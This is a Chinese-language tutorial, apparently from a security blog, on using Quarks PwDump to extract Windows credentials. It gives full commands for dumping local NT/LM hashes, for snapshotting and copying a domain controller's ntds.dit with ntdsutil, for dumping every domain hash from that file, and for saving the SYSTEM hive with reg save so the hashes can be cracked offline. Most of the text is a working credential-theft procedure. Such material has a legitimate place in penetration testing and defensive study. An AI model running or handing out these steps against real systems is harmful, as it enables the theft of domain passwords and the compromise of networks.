By antian365.com simeon

Quarks PwDumpquarkslab出品的一款用户密码提取开源工具,目前软件最新版本为0.2b,其完整源代码可以从https://github.com/quarkslab/quarkspwdump获取,目前它支持Windows XP/2003/Vista/7/2008版本,且相当稳定。可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hashBitlocker信息。

工具源代码下载地址:https://codeload.github.com/quarkslab/quarkspwdump/zip/master

它目前可以导出 :

Local accounts NT/LM hashes +history 本机NT/LM哈希+历史登录记录

Domain accounts NT/LM hashes +history 域中的NT/LM哈希+历史登录记录

Cached domain password 缓存中的域管理密码

Bitlocker recovery information(recovery passwords & key packages) 使用Bitlocker的恢复后遗留的信息。

1.使用Quarks PwDump本地帐号的哈希值

Quarks PwDump必须在Dos命令提示符下运行,直接运行QuarksPwDumpv0.2b.exe,如图1所示,默认显示帮助信息,其参数含义如下:

-dhl  导出本地哈希值

-dhdc导出内存中的域控哈希值

-dhd  导出域控哈希值,必须指定NTDS文件

-db  导出Bitlocker信息,必须指定NTDS文件

-nt   导出ntds文件

-hist  导出历史信息,可选项

-t   导出类型可选默认导出为John类型。

-o   导出文件到本地

***实战-使用Quarks PwDump获取域控密码_第1张图片

1使用Quarks PwDump本地帐号的哈希值

2.使用Quarks PwDump导出账号实例

使用命令“QuarksPwDumpv0.2b.exe -dhl -o1.txt”将导出本地哈希值到当前目录的1.txt,执行命令会显示导出帐号的数量,如图2所示。显示有3个帐号导出到1.txt,打开1.txt可以看到导出哈希值的具体帐号和值。

***实战-使用Quarks PwDump获取域控密码_第2张图片

2导出本地帐号到文件

3.配合ntdsutil工具导出域控密码

Ntdsutil.exe是一个为 Active Directory 提供管理设施的命令行工具。可使用Ntdsutil.exe 执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导 (DCPromo.exe)成功降级的域控制器留下的元数据。Ntdsutil还可以用来获取域控数据库ntds.dit文件,具体命令如下:

1)创建快照

ntdsutil  snapshot  "activate  instance ntds"  create  quit quit

2Ntdsutil挂载活动目录的快照

ntdsutil  snapshot  "mount {GUID}"  quit quit

{GUID}为动态获取的,如图3所示。

3)复制快照的本地磁盘

copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit

4)卸载快照

ntdsutil  snapshot  "unmount {GUID}"  quit quit

5)删除快照

ntdsutil  snapshot  "delete {GUID}"  quit quit

***实战-使用Quarks PwDump获取域控密码_第3张图片

3导出快照文件

使用命令“QuarksPwDump.exe --dump-hash-domain--ntds-file c:\ntds.dit”将导出的ntds.dit文件中哈希值全面导出。一个完整的实例如下:

tdsutil snapshot  "activate  instance ntds"  create  quit quit

ntdsutil snapshot  "mount{a0455f6c-40c3-4b56-80a0-80261471522c}" quit  quit

快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已掛接為 C:\$SNAP_201212082315_VOLUM

EC$\

copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit  c:\ntds.dit

ntdsutil snapshot  "unmount{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit  quit

ntdsutil snapshot  "delete{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit  quit

QuarksPwDump.exe --dump-hash-domain --ntds-filec:\ntds.dit

说明:获取哈希值最好都在同一台服务器上执行,也即将QuarksPwDump.exe直接放在导出ntds.dit服务器上,执行导出命令。如果仅仅将ntds.dit复制后下载本地可能会出现无法读取错误。网上也曾经出现一个NTDS.dit密码快速提取工具ntdsdump,读者可以自己进行测试。如果是想下载ntds.dit到本地恢复还需要执行“reg save hklm\system system.hive”,将system.hiventds.dit全部复制到本地进行域控密码获取。

 

参考资料

1. Quarks PwDumphttp://blog.quarkslab.com/quarks-pwdump.html

2. NTDS.dit密码快速提取工具,http://www.secpulse.com/archives/6301.html